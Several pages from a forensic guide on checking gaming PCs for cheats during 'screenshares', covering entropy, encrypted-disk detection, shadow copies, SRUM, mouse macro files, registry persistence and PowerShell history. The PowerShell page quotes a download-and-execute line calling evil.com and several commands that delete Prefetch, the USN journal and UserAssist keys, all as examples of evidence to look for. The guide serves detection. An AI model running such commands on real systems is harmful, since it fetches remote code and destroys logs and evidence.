an _executable_ (`.exe`, `.dll`) with unusually high entropy, especially if it's unsigned or found in a suspicious location, serves as a significant **red flag**. It strongly suggests the file's true nature is being concealed and warrants further investigation using other tools and techniques (e.g., dynamic analysis, unpacking attempts, signature checks). * **Analysis Tools:** Several tools can calculate and display file entropy: * **Detect It Easy (DiE):** Includes entropy calculation as part of its PE file analysis features, often showing entropy per section. * **VirusTotal:** The file analysis report on VirusTotal often includes an overall file entropy value. * Specialized forensic tools or standalone entropy calculators. Analyzing file entropy provides a quick way to flag potentially obfuscated executables that require closer scrutiny. [PreviousYARA Rules](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/yara-rules) [NextDetect It Easy (DiE)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/detect-it-easy) Last updated 1 year ago --- # Magnet EDD (Encrypted Disk Detector) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/magnet-edd.md) . _Magnet Encrypted Disk Detector (EDD)_ is a free, specialized tool from the forensic software company Magnet Forensics. Its sole purpose is to quickly **scan a system for the presence of encrypted volumes** created by common full-disk or volume encryption software. * **Detection Scope:** It is designed to detect various encryption types, including: * BitLocker (Microsoft's native Windows encryption) * TrueCrypt (legacy, but volumes still exist) * VeraCrypt (popular open-source successor to TrueCrypt) * Potentially others depending on the version and underlying detection methods. * **Supported File Systems:** Capable of scanning drives formatted with NTFS, exFAT, and FAT32. * **Operation:** It's a simple, standalone executable, often run from an administrative command prompt. Using a `/batch` switch can automate the scan and output results without user interaction. * **Purpose in ScreenSharing:** Its primary function during a screenshare is to identify if the user has **encrypted drives, partitions, or virtual disk containers** present on their system. Encrypted volumes are, by design, inaccessible without the correct password, key file, or recovery key. Therefore, they represent potential **hiding places** where cheats, tools, sensitive data, or any other incriminating files could be stored, completely shielded from inspection during a standard screenshare unless the user voluntarily decrypts the volume. * **Interpreting Results:** Magnet EDD doesn't detect cheats directly. Instead, it flags potential **areas of concealment**. Discovering an active, mounted encrypted volume (especially one the user doesn't readily disclose or decrypt upon request) during a screenshare raises significant suspicion, as it represents a location inaccessible to the ScreenSharer where evidence could be hidden. Server policies often address how to handle the discovery of encrypted volumes during checks. [PreviousVelociraptor](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/velociraptor) [NextCommon Bypass Techniques in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/eighth-section-common-bypass-techniques-in-screensharing) Last updated 1 year ago --- # Volume Shadow Copies (VSS) Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/volume-shadow-copies-analysis.md) . Windows includes a powerful feature called the _Volume Shadow Copy Service (VSS)_ which creates **point-in-time snapshots** of disk volumes. Primarily used for System Restore points and the "Previous Versions" feature (allowing users to recover earlier versions of files), these shadow copies can be a treasure trove of historical forensic data. VSS works by tracking changes to disk blocks; when a snapshot is triggered (either manually or automatically by the system, e.g., before software installations), it essentially preserves the state of the volume at that moment. As changes occur on the live volume, the original data from modified blocks is copied to a designated storage area (within the hidden `System Volume Information` folder at the root of the volume) before being overwritten. Forensically, VSS is significant because these snapshots may contain: * **Deleted Files:** Files that existed when the snapshot was taken but have since been deleted from the live filesystem might still be fully intact within an older shadow copy. This provides a powerful way to potentially recover deleted scripts, configuration files, logs, or even cheat executables. * **Previous Versions of Artifacts:** Older versions of critical system files and forensic artifacts – such as Registry hives (`SYSTEM`, `SOFTWARE`, `NTUSER.DAT`), filesystem metadata (`$MFT`, `$UsnJrnl`, `$LogFile`), event logs (`.evtx` files), or browser databases – can often be extracted from shadow copies. Comparing these older versions with the current live versions can reveal tampering (like cleared registry keys or deleted event log entries) or extend the analysis timeline beyond what's available on the live system (e.g., recovering older Prefetch files). * **Evidence Persistence:** If a bypasser attempts to cover their tracks by deleting files or clearing logs _after_ a relevant shadow copy was created, the evidence might still be preserved within that snapshot. However, VSS analysis has limitations: VSS must be enabled on the volume (usually is for C: by default), Windows automatically manages VSS storage space, deleting older snapshots as needed, and users with admin rights can manually delete snapshots or disable the service. Detection involves using tools capable of accessing VSS. The built-in `vssadmin list shadows` command lists existing copies. GUI tools like **ShadowExplorer** allow browsing snapshot contents like regular folders. More powerfully, many of **Eric Zimmerman's command-line tools (RECmd, MFTECmd, PECmd, etc.) include a** `**--vss**` **switch**. When used, these tools automatically identify and process all available shadow copies on the target drive, integrating historical data directly into their output (e.g., finding registry keys, MFT entries, or Prefetch files as they existed in older snapshots). This is highly efficient for comprehensive timeline reconstruction across different points in time. Forensic suites like OSForensics or FTK Imager can also mount or analyze VSS data. [PreviousSRUM (System Resource Usage Monitor) Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/srum-analysis) [Next$INDX ($i30 Index Attributes) Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/indx-analysis) Last updated 1 year ago --- # SRUM (System Resource Usage Monitor) Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/srum-analysis.md) . Often referred to as a **"forensic goldmine,"** the _System Resource Usage Monitor (SRUM)_ provides extensive historical data on process and network activity. Active on Windows 8 and later, SRUM utilizes an Extensible Storage Engine (ESE) database file named `**SRUDB.dat**`, located at `C:\Windows\System32\sru\`. This database logs detailed resource usage metrics over a rolling period, typically retaining data for approximately 30 to 60 days. SRUM tracks a wealth of information highly relevant to investigations, including: * _Process Execution History:_ Records processes that have run, including their executable names, paths, and the user context (SID) under which they ran. This provides a longer-term execution history than Prefetch or BAM might offer for specific instances. * _Network Activity:_ Monitors network data (bytes sent and received) on a per-application and per-network-interface basis. It also tracks network connection durations. This is invaluable for identifying applications communicating over the network, potentially revealing connections made by cheats, loaders, or C2 frameworks. * _Resource Consumption:_ Logs CPU time (distinguishing between foreground and background usage), disk I/O operations (reads/writes), and other resource metrics per application. * _Push Notifications:_ The `PushNotifications` table within the database records details about application push notifications, including the AppID responsible and timestamps, which can sometimes help attribute activity to specific applications like cheat launchers. * _Application Uptime:_ The `AppTimelineProvider` data tracks application focus time (Foreground Time), useful for correlating application usage with user activity periods. Due to the richness and historical depth of the data, SRUM analysis can often uncover evidence of execution, network communication, or user activity patterns that persist long after other volatile artifacts have been cleared or overwritten. The standard tool for parsing the `SRUDB.dat` ESE database is **SrumECmd (Eric Zimmerman)**. This command-line tool exports the various tables within the database into CSV format, which can then be effectively analyzed using **Timeline Explorer** to filter, sort, and correlate data by time, user, application, network details, etc. Note that some timestamps within SRUM output might be in Epoch format and require conversion using online or offline epoch converter tools for human-readable analysis. [PreviousActivities Cache Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/activities-cache-analysis) [NextVolume Shadow Copies (VSS) Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/volume-shadow-copies-analysis) Last updated 1 year ago --- # Detection by Mouse Brand | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/detection-by-mouse-brand.md) . The ability to adjust debounce, and the inherent debounce characteristics, vary by brand and model: * **Glorious:** Models like the Model O/D/I often feature **adjustable debounce time** via a slider in their software (Glorious Core or older software). Check the software GUI and the config files in `%appdata%\BY-COMBO2\` (or similar). Settings below the server's threshold are typically bannable. * **Cooler Master:** Many Cooler Master gaming mice also offer **adjustable debounce time** via software sliders. Check their specific software (MasterPlus+, etc.) and associated configuration files in AppData. * **Roccat:** Some Roccat models (especially newer ones) might have software settings (e.g., "Zero Debounce"). However, Roccat mice, particularly older models (like Kone Pure Owl-Eye, Kone AIMO), are **widely known and acknowledged** in clicking communities to have **inherently low effective debounce times (often well below 10ms)** due to their switch implementation and firmware, _regardless_ of the software setting (which might not even exist or be effective on older models). * _Ban Logic:_ If a player is using a known low-debounce Roccat model, achieves very high CPS consistent with mouse abuse (e.g., 20-30+ CPS via drag/butterfly clicking), and the server bans debounce settings below 10ms, this **can constitute grounds for a ban**, even if no software setting is found or if it appears set higher. The hardware itself provides the unfair advantage the rule aims to prevent. **However, context is crucial.** Simply finding a Roccat mouse during a screenshare for an unrelated reason (e.g., suspected reach) _without_ witnessing or having evidence of high CPS / mouse abuse is **not sufficient** grounds for a debounce-related ban, although the mouse model might be noted. Server rules need to be clear on whether possession of certain known-abusable hardware constitutes an offense. * **Bloody:** Similar to Roccat, many Bloody gaming mice (especially those popular for drag clicking) have software sliders for debounce adjustment but are also notorious for having **inherently faulty or low effective debounce times (< 10ms)** even when the slider is set higher. The same ban logic and critical need for context (observed high CPS/abuse) as described for Roccat apply. * **Red Dragon:** Some Red Dragon models allow debounce adjustment via software. Check their specific software and configuration file locations (e.g., `%homepath%\Documents\M### Gaming Mouse\MacroDB\`). * **Mad Catz:** Certain Mad Catz models (especially older R.A.T. series) were known for having virtually **no effective debounce timer** or double-click prevention, making them easily abusable for high CPS. The same ban logic and context considerations as Roccat/Bloody apply if mouse abuse is suspected. * **Mars Gaming:** Models often implement debounce time adjustment via software sliders. Check their software and AppData config files. **Important Consideration:** Always correlate findings related to potentially low debounce times (whether via software setting or inherent hardware characteristics) with the **reason for the screenshare** and **observed player behavior** (e.g., documented instances of suspiciously high CPS). Avoid issuing bans _solely_ based on the possession of a specific mouse model unless server rules explicitly prohibit that model or clear evidence of mouse abuse (exploiting low debounce for inflated CPS) was witnessed and documented. [PreviousGeneral Detection Strategy](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/general-detection-strategy) [NextProgram Execution](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution) Last updated 1 year ago --- # Detecting Software-Based Macros | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-software-based-macros.md) . Detecting macros stored on the PC involves locating and examining the configuration files and settings associated with the player's specific mouse software. Most gaming mouse manufacturers provide software that allows users extensive customization, including macro creation and assignment. These settings are typically saved in specific files or database entries within standard user or system data locations. **Detection by Mouse Brand (Software Config Files/Locations)** The precise location and format of macro configuration data vary significantly between manufacturers and even different software versions from the same manufacturer. Here are known or commonly suspected locations for several popular brands: * **Logitech:** * _Logitech Gaming Software (LGS - Older):_ Check `%localappdata%\Logitech\Logitech Gaming Software\`. Look for files like `settings.json` or potentially `.xml` files containing profile and macro definitions. * _Logitech G HUB (Newer):_ Check `%localappdata%\LGHUB\`. The primary configuration is often within `settings.db` (an SQLite database, requires a DB browser to view) or related files/folders within this directory. Analyze modification times first. * **Razer:** * _Synapse 2 (Legacy):_ Examine installation folders (`C:\Program Files (x86)\Razer`, etc.) and `%localappdata%\Razer` or `%programdata%\Razer` for profile/macro files (often `.xml`). * _Synapse 3:_ Configuration is more complex, potentially involving cloud sync. Check `C:\ProgramData\Razer\Synapse3\Accounts\` for account-specific data and `%localappdata%\Razer\Synapse3\Log\` for activity logs that might indicate macro usage or profile switches. Macro definitions might be within complex profile structures or potentially stored server-side, making direct file analysis difficult. Checking the software GUI is crucial. * **SteelSeries:** * _SteelSeries Engine / GG:_ Check `%localappdata%\steelseries-engine-3-client\Local Storage\leveldb\` or similar paths within `%localappdata%` or `%programdata%`. SteelSeries often uses LevelDB databases, which require specialized tools (like LevelDB readers/editors) for reliable inspection. Also check associated `.json` or configuration files in nearby directories. * **Roccat:** * _Roccat Swarm:_ Check `%appdata%\ROCCAT\SWARM\`. Look for subfolders like `macro` containing files such as `custom_macro_list.xml` or `macro_list.dat`. Analyze `.xml` files for macro definitions. * **Red Dragon:** * Paths can vary by model. Check `%homepath%\Documents\` for folders named like `M### Gaming Mouse` (where ### might be model numbers). Inside, look for subfolders like `MacroDB` containing files such as `MacroData.db`. * **Glorious:** * Check `%appdata%\BY-COMBO2\` (path might vary slightly based on specific software/model). Look for `.json` or `.ini` configuration files. Examine subfolders, particularly any named `Mac` or `Macro`. * **Cooler Master:** * Check standard locations: `%localappdata%\CoolerMaster`, `%appdata%\CoolerMaster`, or `%programdata%\CoolerMaster` for software configuration files (`.json`, `.xml`, `.ini`, potentially `.db`). * **Bloody:** * Check the installation directory, e.g., `C:\Program Files (x86)\Bloody7\Bloody7\Data\Mouse\English\ScriptsMacros\GunLib\` for Bloody7 software. Also check AppData folders for related configuration files (`.ini`, `.amc2`). * **Mad Catz:** Check installation directory and common AppData locations for config files. * **Mars Gaming:** Check installation directory and AppData for `.xml` or `.ini` config files. * **Ayax (Noganet):** Check installation path, e.g., `C:\Program Files\AYAX GamingMouse\`. Look for files like `record.ini`. * **Krom (Kolt model):** Check `%AppData%\Local\VirtualStore\Program Files (x86)\KROM KOLT\Config` (path reflects virtualization if software runs with non-standard permissions). Look for `sequence.dat`. * **BlackWeb:** Check installation path, e.g., `C:\Blackweb Gaming AP\config\`. Look for files with unusual extensions like `.MA32AIY`. * **YanPol (Often similar hardware/software to Glorious/Ajazz):** Check `%appdata%\BYCOMBO-2\` (or similar) and look for `Mac\` subfolders. * **MotoSpeed (V60 model example):** Check installation path, e.g., `C:\Program Files (x86)\MotoSpeed Gaming Mouse\V60\modules`. Look within subfolders like `Settings` for `.bin` or config files. * **Asus (ROG Armoury):** Check `C:\Users\%username%\Documents\ASUS\ROG\ROG Armoury\common\`. Look for a `Macro` subfolder. * **Corsair (iCUE):** Check `C:\Users\%username%\AppData\Roaming\Corsair\CUE` (or `Local` instead of `Roaming`). Look within `Config.cuecfg` (or similar complex config files). Searching inside for strings like `RecMouseCLicksEnable` might reveal relevant settings. Process memory dumping of `iCUE.exe` and filtering for strings like `MemberFuncSlot` has also been suggested as an advanced technique. **Analysis Steps for Software Macros:** 1. **Identify Mouse:** Determine the player's exact mouse brand and model. Ask the player or check Windows device settings if necessary. 2. **Check Software GUI:** The most direct method is often to open the mouse's official software (e.g., G HUB, Synapse, Swarm, iCUE) and navigate to the macro definition and button assignment sections. Look for any macros bound to buttons, especially those involving rapid left/right clicks. 3. **Check Config File Locations:** Navigate to the potential configuration paths listed above corresponding to the identified brand. 4. **Examine Modification Dates:** Check the "Date modified" timestamps of relevant configuration files, databases, or folders. **Recent modifications shortly before the screenshare are highly suspicious**, suggesting potential setup or deletion of macros. 5. **Analyze File Contents:** * Open text-based config files (`.json`, `.xml`, `.ini`) in a text editor and search for keywords like "macro," "click," "delay," "repeat," or specific button bindings (e.g., "LeftMouseButton," "Button 4"). Look for sequences defining rapid clicks with low delays. * Open database files (`.db`) using an appropriate SQLite browser (like DB Browser for SQLite) and examine tables related to profiles, macros, or bindings. * Analyze LevelDB or other formats using specialized tools if necessary (more advanced). 6. **Check Logs:** Examine any log files generated by the mouse software (e.g., Razer logs) for entries related to profile switching, macro execution, errors, or enabling specific performance modes (like "Turbo"). [PreviousDefinition and Purpose in Cheating](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/definition-and-purpose-in-cheating) [NextDetecting On-Board Macros](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-on-board-macros) Last updated 1 year ago --- # RedLotus Task Sentinel | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel.md) . To combat advanced persistence mechanisms and evasion techniques relying on the Windows Task Scheduler, RedLotus introduces the **Task Sentinel**. This advanced analyzer moves beyond simple enumeration, offering deep forensic inspection of every scheduled task to identify anomalies, arguments, and hidden execution vectors instantly. #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel#presentation-and-showcase) 📺 Presentation & Showcase [![Task Sentinel Showcase](https://itzicehere.gitbook.io/redlotusguide/~gitbook/image?url=https%3A%2F%2Fimg.youtube.com%2Fvi%2FtdGmnBJY-g4%2F0.jpg&width=300&dpr=3&quality=100&sign=ea4e9bb0&sv=2)](https://youtu.be/tdGmnBJY-g4) > _Click the image above to watch the tool showcase._ * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel#interface-and-key-features) ⚙️ Interface & Key Features The Task Sentinel organizes complex system data into a streamlined dashboard designed for rapid assessment. The interface is centered around usability and depth: **Main Dashboard** * **Search Bar:** Allows for instant filtering of tasks by name, enabling quick lookup of known system tasks or suspicious entries. * **Task Details Panel:** Double-clicking any row reveals a full forensic analysis, including digital signatures, specific YARA rule matches, IFEO hijacks, and USN Journal history. **Quick Filters** 8 toggleable filters allow Staff to isolate threats immediately: * 🔴 **Suspicious:** Isolates tasks executing high-risk binaries like `cmd`, `powershell`, `rundll32`, etc. * 👤 **User Author:** Filters tasks created specifically by local users, ignoring default system tasks. * 🚫 **Unsigned:** Highlights binaries missing valid digital signatures. * 🔑 **LogOn:** Shows tasks configured to auto-run immediately when a user logs in (persistence vector). * 📝 **Yara:** Displays tasks that have triggered internal YARA detection rules. * 💬 **Args:** Filters for tasks that utilize command-line arguments. * 👻 **Registry:** Identifies "Ghost Tasks"—entries present in the Registry but missing from the Filesystem (or vice versa). * 🐛 **IFEO:** Flags Image File Execution Options debugger hijacks. **Real-Time Journal Scanning** The tool integrates directly with the NTFS USN Journal to flag tasks that have been **modified since boot**. This highlights active evasion attempts where a cheater tries to alter a task before a check. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel#detection-capabilities) 🛡️ Detection Capabilities Task Sentinel is built to detect not just known cheats, but suspicious behaviors and obfuscation techniques used to hide them. **YARA Rule Engine** The tool scans task targets against **19 custom rules** specifically tuned for cheat detection: * **Generic A-Series (3):** Patterns associated with Autoclickers. * **Generic B-Series (7):** Detection of packers and file protection methods. * **Generic F-Series (7):** Identification of advanced packed executables. * **Generic G-Series (4):** Patterns common in DLL Injectors. * **Specific A-B:** Targeted detection for known cheat signatures. **Advanced Forensic Checks** * **Ghost Tasks:** Detects discrepancies between the Windows Registry and XML task definitions, a common method used to hide persistence from standard tools. * **IFEO Hijacking:** Identifies debugger redirects (Image File Execution Options), a technique used to silently launch malware when a legitimate program is opened. * **Signature Verification:** Automatically classifies targets as `SIGNED`, `FAKE`, `CHEAT`, `UNSIGNED`, or `NOT FOUND`. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel#technical-optimizations) 🚀 Technical Optimizations The tool is engineered for forensic depth without sacrificing speed or stability. * **Dual-Source Validation:** Unlike standard tools that only check the folder structure, Sentinel cross-references the Filesystem against the Registry to catch hidden or desynchronized tasks. * **NTFS Journal Integration:** By correlating tasks with the USN Journal, it detects post-boot modifications, effectively countering timestamp spoofing attempts. * **Multi-threaded Scanning:** The engine utilizes multi-threading to perform enumeration, signature checks, and YARA scanning near-instantly, ensuring the check remains efficient. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-task-sentinel#download) 🔗 Download **Link:** [Download via RedLotus GitHub / Tool Downloader](https://github.com/ItzIceHere/RedLotus-Tool-Downloader/releases) [PreviousRedLotus Tool Downloader](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-tool-downloader) [NextRedLotus Mod Analyzer](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer) Last updated 7 months ago --- # Registry | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry#purpose-and-function) Purpose and Function The **Windows Registry** is a hierarchical, central database that serves as the core configuration repository for the Windows operating system and many of the applications installed on it. It stores a vast array of low-level settings, hardware configurations, user preferences, software installation details, and system policies. Both Windows itself and third-party software rely heavily on the Registry to store and retrieve the information necessary for their proper functioning. From a DFIR perspective, the Registry is one of the richest sources of forensic information on a Windows system. Its critical role in system operation makes it a primary target for both malware (for persistence and evasion) and forensic analysts (for evidence recovery). ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry#location-and-structure) Location and Structure The Registry is not a single file but is composed of a set of files called **hives**. These hives are loaded into memory when the system boots and are mapped to the familiar hierarchical structure seen in tools like `regedit.exe`. Key hive files and their locations include: * **SYSTEM:** `C:\Windows\System32\config\SYSTEM` (Contains system-wide hardware and service configurations) * **SOFTWARE:** `C:\Windows\System32\config\SOFTWARE` (Contains system-wide software settings) * **SAM:** `C:\Windows\System32\config\SAM` (Stores local user account and security information) * **SECURITY:** `C:\Windows\System32\config\SECURITY` (Stores system-wide security policies) * **NTUSER.DAT:** `C:\Users\%username%\NTUSER.DAT` (Contains settings specific to the user profile) * **UsrClass.dat:** `C:\Users\%username%\AppData\Local\Microsoft\Windows\UsrClass.dat` (Contains user-specific COM registration and other shell settings) The Registry is organized into a tree-like structure of **Keys** (like folders) and **Values** (like files), which store the actual configuration data. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry#forensic-value-in-configuration-and-persistence) Forensic Value in Configuration and Persistence While the Registry contains countless artifacts (many of which, like UserAssist and Shellbags, are covered in other chapters), its primary value in this context lies in revealing system configuration and common persistence mechanisms. * **Software Installation Evidence:** The Registry contains extensive records of installed software under keys like `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall`. These entries can prove that an application (like a known cheat installer) was installed on the system, often retaining information even after uninstallation. * **System and Security Configuration:** Keys within the `SYSTEM` and `SECURITY` hives reveal critical system settings. Analysts can check for disabled security features (like UAC or Windows Defender), modified service configurations, or policies designed to hinder investigation (e.g., preventing access to `cmd.exe` or `regedit.exe`). * **Persistence via** `**Run**` **and** `**RunOnce**` **Keys:** These are the most classic and common persistence mechanisms on Windows. Programs listed as values within these registry keys are automatically executed at system startup or user logon. Malware and cheat loaders are frequently placed here to ensure they run automatically. Key locations include: * `HKLM\Software\Microsoft\Windows\CurrentVersion\Run` * `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce` * `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` * `HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce` * **Other Persistence Mechanisms:** The Registry hosts numerous other persistence techniques, including `AppInit_DLLs`, COM hijacking (modifying CLSID keys), and creating malicious service entries under `HKLM\SYSTEM\CurrentControlSet\Services`. * **Evidence of Tampering:** The "LastWrite" time of a registry key is a crucial timestamp that indicates when a key or any of its values were last modified. A recent LastWrite time on a key known for persistence or on a key that should be static is a strong indicator of recent malicious activity. Forensic registry parsers can also often identify and recover deleted keys and values, revealing attempts to clear these persistence entries. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the Registry is a primary target for finding cheats that are designed to be "sticky" and for uncovering system modifications made to support cheating. * **Hunting for Auto-Start Cheats:** The `Run` keys are a check in any thorough screenshare. Finding the path to a cheat loader or an unknown executable in one of these keys is definitive proof of a persistence attempt. * **Discovering System Manipulation:** A player might disable security features via the Registry to allow their cheats to run unimpeded. An SSer can check specific policy keys to find evidence of this tampering (e.g., `DisableCMD` to block the command prompt, or keys to weaken Windows Defender). * **The "LastWrite" Timestamp:** This is a simple but powerful piece of evidence. If you find a suspicious entry in a `Run` key, checking the LastWrite time of the `Run` key itself can tell you _when_ that entry was added, potentially linking it directly to the current gameplay session. * **Recovering Deleted Persistence:** Using a tool like Registry Explorer that can show deleted keys is vital. A player might run a cheat that adds itself to a `Run` key and then deletes the entry before the SS. A forensic parser can often recover this deleted entry, providing conclusive evidence of both execution and an attempt to cover tracks. [PreviousSystem Configuration and Persistence](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence) [NextTask Scheduler Artifact](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/task-scheduler-artifact) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry#location-and-structure) * [Forensic Value in Configuration and Persistence](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/registry#forensic-value-in-configuration-and-persistence) --- # PowerShell Command History | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#purpose-and-function) Purpose and Function The **PowerShell Command History** is a feature of the PSReadLine module, which is the default command-line editing experience in modern PowerShell consoles (Windows 10/11 and newer). Its primary function is to provide convenience for the user by saving a history of all commands typed into interactive PowerShell sessions. This allows users to easily recall and re-run previous commands by pressing the up/down arrow keys. From a DFIR perspective, this user-centric feature creates a plaintext, chronological log of an administrator's or user's actions on the command line. It can provide an unfiltered, verbatim record of manual system interaction, script execution, and potential anti-forensic activities. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#location-and-structure) Location and Structure The command history is stored in a simple plain-text file. * **Location:** `%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` * This typically resolves to: `C:\Users\%username%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` The structure of the `ConsoleHost_history.txt` file is straightforward: each command entered by the user is appended as a new line in the file. The file does not typically store timestamps for each individual command, but the "Date Modified" timestamp of the file itself indicates the time when the last command was added (i.e., when the last interactive PowerShell session was closed). ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#stored-metadata) Stored Metadata The artifact itself is simple, containing only the raw commands as typed by the user. However, this raw data is incredibly valuable: * **Verbatim Commands:** It logs the exact commands, switches, and arguments used. This can reveal file paths, registry keys being manipulated, URLs being accessed, or encoded scripts being executed. * **Chronological Order:** Commands are stored in the order they were executed within and across sessions, providing a logical sequence of user actions. * **User Attribution:** The file is stored within a specific user's AppData profile, directly linking the command-line activity to that user account. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#forensic-value) Forensic Value The PowerShell command history is an invaluable artifact for reconstructing an attacker's or a malicious user's manual actions. * **Revealing Manual Anti-Forensics:** It is one of the best places to find evidence of manual evidence clearing. Commands like `del C:\Windows\Prefetch\*.pf`, `fsutil usn deletejournal /D C:`, or `reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist` may be captured verbatim. * **Uncovering "Fileless" Execution:** It can capture the initial commands used to execute fileless malware or bypasses. This includes commands that download and execute scripts directly in memory (`IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')`) or run encoded commands (`powershell.exe -EncodedCommand ...`). * **Tracking File System Manipulation:** It logs commands used for creating, moving, renaming, or deleting files and directories (`New-Item`, `Move-Item`, `Rename-Item`, `Remove-Item`). * **Identifying System Reconnaissance:** It can show commands used by an attacker to gather information about the system, such as `Get-Process`, `Get-Service`, or network enumeration commands. It is important to note that this history file only logs commands from **interactive** PowerShell sessions. Commands executed by non-interactive scripts that are run directly (e.g., right-click -> "Run with PowerShell") are generally not logged in this file. Additionally, a savvy user can delete the `ConsoleHost_history.txt` file to clear their tracks. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, the PowerShell history file is a direct transcript of a player's command-line activities and a prime location for finding "smoking gun" evidence of bypass attempts. * **The Confession Log:** This artifact can feel like reading a confession. Finding the exact command a player typed to delete their Prefetch folder (`Remove-Item C:\Windows\Prefetch\* -Recurse`), clear a registry key, or execute a loader script is undeniable proof of intent. * **Exposing Spoofed Extension Execution:** If a player uses a command like 